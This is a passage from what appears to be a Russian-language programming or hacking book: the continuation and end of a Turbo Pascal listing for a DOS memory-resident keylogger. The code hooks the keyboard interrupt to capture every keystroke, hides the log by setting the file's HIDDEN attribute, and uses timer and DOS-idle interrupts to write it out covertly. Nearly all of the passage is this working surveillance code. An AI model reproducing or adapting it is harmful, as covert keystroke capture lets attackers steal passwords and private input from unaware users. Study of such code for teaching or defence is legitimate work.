Продолжение листинга 14.1

$8B/$26/NewSP);

procedure EndInt;
inline($FF/$0E/StackSW/
$7D/$08/
$8E/$16/OldSS/
$8B/$26/OldSP);

procedure CallPop(Sub: Pointer);
begin
inline($FF/$5E/$06);
end;

procedure CLI; inline($FA);

procedure STI; inline($FB);

procedure TSRCrap;
var
F: File;
begin
CLI;
BeginInt;
STI;
NeedPop:= False;
Assign(F, ArchiveName);
{$I-}
Reset(F,1);
{$I+}

if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F));
SetFAttr(F,ARCHIVE+HIDDEN);
BlockWrite(F,KBuf,CBuf); { Запись содержимого буфера в файл }
CBuf:= 0;

Close(F);
Tick:= 0;
CLI;
EndInt;
STI;
end;

Продолжение листинга 14.1

procedure RunTSR; interrupt;
begin
CLI;
BeginInt;
STI;
Inc(Tick);
if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then
begin
NeedPop:= True;
if Mem[DOSSeg:DOSOfs] = 0 then
begin
NeedPop:= False;
Port[$20]:=$20;
TSRCrap;
end;
end;
CLI;
EndInt;
STI;
end;

procedure Int28TSR; interrupt;
begin
CLI;
BeginInt;
STI;
if NeedPop = True Then TSRCrap;
CLI;
EndInt;
STI;
end;

procedure New9h;interrupt;
{ Новый обработчик прерывания 9h }
var
Tail: Word absolute $40: $1C;
B:Boolean;
begin
B:= Port[$60]<$80;
inline($9C);
Old9h; { Вызов старого обработчика }
if B and (Lo(MemW[$40:Tail])<>0) then

Окончание листинга 14.1

begin
Inc(CBuf);
if CBuf > 255 Then CBuf:= 255;
KBuf[CBuf]:=Lo(MemW[$40:Tail]); { Cохранение клавиши в буфере }
end;
end;

procedure InitTSR;
begin
NewSS:= SSeg;
inline($89/$26/NewSP);
R.AH:= $34;
MsDos(R);

DOSSeg:= R.ES;
DOSOfs:= R.BX;
end;

begin
InitTSR;

CBuf:= 0;
FillChar(KBuf,SizeOf(KBuf),0);

WaitBuf:= 5; { Задержка (сек) перед отправкой буфера в файл.}
NeedPop:= False;
Tick:= 0;

GetIntVec($9,@Old9h);
SetIntVec($9,@New9h);
SetIntVec($28,@Int28TSR);

SetIntVec($1C,@RunTSR);
Keep(0);
end.